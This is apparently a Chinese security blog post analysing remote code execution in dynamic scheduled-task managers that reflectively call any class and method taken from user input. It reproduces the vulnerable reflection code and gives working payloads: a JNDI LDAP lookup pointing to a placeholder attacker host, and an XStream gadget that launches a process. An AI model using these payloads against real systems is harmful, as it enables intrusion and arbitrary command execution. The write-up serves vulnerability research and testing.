动态定时任务业务中的RCE

  • 动态定时任务业务中的RCE已关闭评论
  • 26 views
  • A+

前言

  在实际的生产业务中经常会接触到定时任务的问题。比如说,数据库定时备份,日志定时压缩,数据定时上传等等。当然,不同的定时任务,实现方式也会不尽相同。有的可能会借助操作系统的定时任务功能。但有些定时任务,就需要通过编码实现了,比如电商平台 30 分钟后自动取消未支付的订单,以及银行凌晨的数据汇总、对账和备份等。

  可以通过多种方式/框架实现定时任务的效果。例如xxl-job、Spring task、quartz等。其各有优劣,例如spring task配置很简单,相当于一个轻量级的quartz,能够满足实际开发中的绝大部分场景。

wKg0C2BhWWyAHksjAAAn8gEFI842.png

  常见的业务场景中,常常需要动态增删启停定时任务,通过可视化的管理界面来动态管理。spring task就不是很适用了。有一种方式是通过Quartz框架,结合调用方法和参数反射调用来实现。例如如下的可视化管理界面(添加任务):

wKg0C2BhRfeAH7eiAABpL8aXXcI202.png

动态定时任务

相关实现

  在网上找了一下相关的实现demo,主要实现思路是根据任务表里面的实体建立对应策略的任务实例,创建好对应的任务模版:

```java
/*
* 定时调度具体工作类
/
@Component("v2Task")
@Slf4j
public class V2Task {

/**
 * 无参的任务
 */
public void runTask1() {
    log.info("正在执行定时任务,无参方法");
}

/**
 * 有参任务
 * 目前仅执行常见的数据类型  Integer Long  带L  string  带 ''  bool Double 带 d
 * @param a
 * @param b
 */
public void runTask2(Integer a,Long b,String c,Boolean d,Double e) {
    log.info("正在执行定时任务,带多个参数的方法"+a+"   "+b+" "+c+"  "+d+" "+e+"执行时间:"+new Date().toLocaleString());
}

}

```

  然后根据调用方法和参数反射动态创建、调用对应方法,核心工具类如下:

```java
public class JobInvokeUtil
{
/*
* 执行方法
*
* @param sysJob 系统任务
/
public static void invokeMethod(SysJob sysJob) throws Exception
{
String invokeTarget = sysJob.getInvokeTarget();
String beanName = getBeanName(invokeTarget);
String methodName = getMethodName(invokeTarget);
List methodParams = getMethodParams(invokeTarget);

    if (!isValidClassName(beanName))
    {
        Object bean = SpringUtils.getBean(beanName);
        invokeMethod(bean, methodName, methodParams);
    }
    else
    {
        Object bean = Class.forName(beanName).newInstance();
        invokeMethod(bean, methodName, methodParams);
    }
}

/**
 * 调用任务方法
 *
 * @param bean 目标对象
 * @param methodName 方法名称
 * @param methodParams 方法参数
 */
private static void invokeMethod(Object bean, String methodName, List<Object[]> methodParams)
        throws NoSuchMethodException, SecurityException, IllegalAccessException, IllegalArgumentException,
        InvocationTargetException
{
    if (StringUtils.isNotNull(methodParams) && methodParams.size() > 0)
    {
        Method method = bean.getClass().getDeclaredMethod(methodName, getMethodParamsType(methodParams));
        method.invoke(bean, getMethodParamsValue(methodParams));
    }
    else
    {
        Method method = bean.getClass().getDeclaredMethod(methodName);
        method.invoke(bean);
    }
}

......
......
}
```

动态调用任意类任意方法导致RCE

  通过分析上述代码,其class、method以及相关method参数均可控,并且无任何黑白名单限制,直接动态调用任意类任意方法。这里搭建环境尝试复现。

  最容易想到的就是通过反射Runtime或者反射来获取ProcessBuilder构造函数,然后调用 start() 来执行命令。看看具体的反射方法:

java
Method method = bean.getClass().getDeclaredMethod(methodName, getMethodParamsType(methodParams));
method.invoke(bean, getMethodParamsValue(methodParams));

  很明显,直接通过如下方式来执行命令是不行的,因为Runtime 类的构造方法是私有的,其是单例模式,只能通过 Runtime.getRuntime() 来获取到 Runtime 对象。那么根据具体的反射方法这个思路不可行:

java
Class clazz = Class.forName("java.lang.Runtime");
clazz.getMethod("exec", String.class).invoke(clazz.newInstance(), "whoami");

  通过ProcessBuilder来执行命令也是不可行的:

java
Class clazz = Class.forName("java.lang.ProcessBuilder");
clazz.getMethod("start").invoke(clazz.getConstructor(List.class).newInstance(
Arrays.asList("calc.exe")));

  尝试别的思路,查看其获取内容的相关方法,主要是通过切割用户输入的方式来获取className、MethodName还有对应的MethodParam的:

```java
/*
* 获取bean名称
*
* @param invokeTarget 目标字符串
* @return bean名称
/
public static String getBeanName(String invokeTarget)
{
String beanName = StringUtils.substringBefore(invokeTarget, "(");
return StringUtils.substringBeforeLast(beanName, ".");
}

/**
 * 获取bean方法
 * 
 * @param invokeTarget 目标字符串
 * @return method方法
 */
public static String getMethodName(String invokeTarget)
{
    String methodName = StringUtils.substringBefore(invokeTarget, "(");
    return StringUtils.substringAfterLast(methodName, ".");
}
/**
 * 获取method方法参数相关列表
 * 
 * @param invokeTarget 目标字符串
 * @return method方法相关参数列表
 */
public static List<Object[]> getMethodParams(String invokeTarget)
{
    if (StringUtils.isEmpty(methodStr))
    {
        return null;
    }
    String[] methodParams = methodStr.split(",");
    List<Object[]> classs = new LinkedList<>();
    for (int i = 0; i < methodParams.length; i++)
    {
        String str = StringUtils.trimToEmpty(methodParams[i]);
        // String字符串类型,包含'
        if (StringUtils.contains(str, "'"))
        {
            classs.add(new Object[] { StringUtils.replace(str, "'", ""), String.class });
        }
        // boolean布尔类型,等于true或者false
        else if (StringUtils.equals(str, "true") || StringUtils.equalsIgnoreCase(str, "false"))
        {
            classs.add(new Object[] { Boolean.valueOf(str), Boolean.class });
        }
        // long长整形,包含L
        else if (StringUtils.containsIgnoreCase(str, "L"))
        {
            classs.add(new Object[] { Long.valueOf(StringUtils.replaceIgnoreCase(str, "L", "")), Long.class });
        }
        // double浮点类型,包含D
        else if (StringUtils.containsIgnoreCase(str, "D"))
        {
            classs.add(new Object[] { Double.valueOf(StringUtils.replaceIgnoreCase(str, "D", "")), Double.class });
        }
        // 其他类型归类为整形
        else
        {
            classs.add(new Object[] { Integer.valueOf(str), Integer.class });
        }
    }
    return classs;
}

```

  那么根据相关的切割方式,可以考虑结合ldap、rmi等方式进行利用,相关poc如下:

java
javax.naming.InitialContext.lookup('ldap://ip:port/EvilObj')

  然后开启ldap服务并请求恶意类Exploit。通过创建定时任务,最后成功执行计算器命令(这里直接请求本地ldap服务了,实际场景是需要考虑jdk版本的):

wKg0C2BhTkuATknOAAAbS1gFOoY655.png

wKg0C2BhTmqABbHZAAByzQVCY8490.png

  除此之外,还可以考虑jar组件中的相关class以及组件漏洞进行利用。例如Xstream的漏洞一般依赖于具体代码实现以及相关接口请求,比较难利用,那么就可以尝试使用如下poc进行利用:

xml
com.thoughtworks.xstream.XStream.fromXML('<sorted-set><dynamic-proxy><interface>java.lang.Comparable</interface><handler class="java.beans.EventHandler"><target class="java.lang.ProcessBuilder"><command><string>open</string><string>/Applications/Calculator.app</string></command></target><action>start</action></handler></dynamic-proxy></sorted-set>')

  当然了。前提必须保证相关param不会被二次处理。同样的也可以考虑Java自带的表达式类调用,例如javax.el.ELProcessor等。具体情况具体处理。

拓展与延伸

  除了上面的例子以外,在github搜了一下其他项目的实现方法,也存在类似的问题。例如通过改造org.springframework.scheduling.ScheduledTaskRegistrar实现动态增删启停定时任务功能。相关代码也是通过调用方法和参数反射的方式来实现的:

```java
public class SchedulingRunnable implements Runnable {

private static final Logger logger = LoggerFactory.getLogger(SchedulingRunnable.class);

private String beanName;

private String methodName;

private String params;

public SchedulingRunnable(String beanName, String methodName) {
    this(beanName, methodName, null);
}

public SchedulingRunnable(String beanName, String methodName, String params) {
    this.beanName = beanName;
    this.methodName = methodName;
    this.params = params;
}

@Override
public void run() {
    logger.info("定时任务开始执行 - bean:{},方法:{},参数:{}", beanName, methodName, params);
    long startTime = System.currentTimeMillis();

    try {
        Object target = SpringContextUtils.getBean(beanName);

        Method method = null;
        if (StringUtils.isNotEmpty(params)) {
            method = target.getClass().getDeclaredMethod(methodName, String.class);
        } else {
            method = target.getClass().getDeclaredMethod(methodName);
        }

        ReflectionUtils.makeAccessible(method);
        if (StringUtils.isNotEmpty(params)) {
            method.invoke(target, params);
        } else {
            method.invoke(target);
        }
    } catch (Exception ex) {
        logger.error(String.format("定时任务执行异常 - bean:%s,方法:%s,参数:%s ", beanName, methodName, params), ex);
    }

    long times = System.currentTimeMillis() - startTime;
    logger.info("定时任务执行结束 - bean:{},方法:{},参数:{},耗时:{} 毫秒", beanName, methodName, params, times);
}

@Override
public boolean equals(Object o) {
    if (this == o) return true;
    if (o == null || getClass() != o.getClass()) return false;
    SchedulingRunnable that = (SchedulingRunnable) o;
    if (params == null) {
        return beanName.equals(that.beanName) &&
                methodName.equals(that.methodName) &&
                that.params == null;
    }

    return beanName.equals(that.beanName) &&
            methodName.equals(that.methodName) &&
            params.equals(that.params);
}

@Override
public int hashCode() {
    if (params == null) {
        return Objects.hash(beanName, methodName);
    }

    return Objects.hash(beanName, methodName, params);
}

}
```

  同理,因为没有相关的白名单限制,只需要class、method以及相关method参数均可控,在一定的条件下即可达到RCE的效果。也就是说在黑盒测试时,对于如下的界面操作,就需要额外关注了:

wKg0C2BhWLOAeiLAAABFb3x1db4504.png

相关推荐: 红队权限升级—基于RBCD的权限升级②

备注 原文名称:Red Team Privilege Escalation – RBCD Based Privilege Escalation – Part 2 原文地址:https://www.praetorian.com/blog/red-team-pri…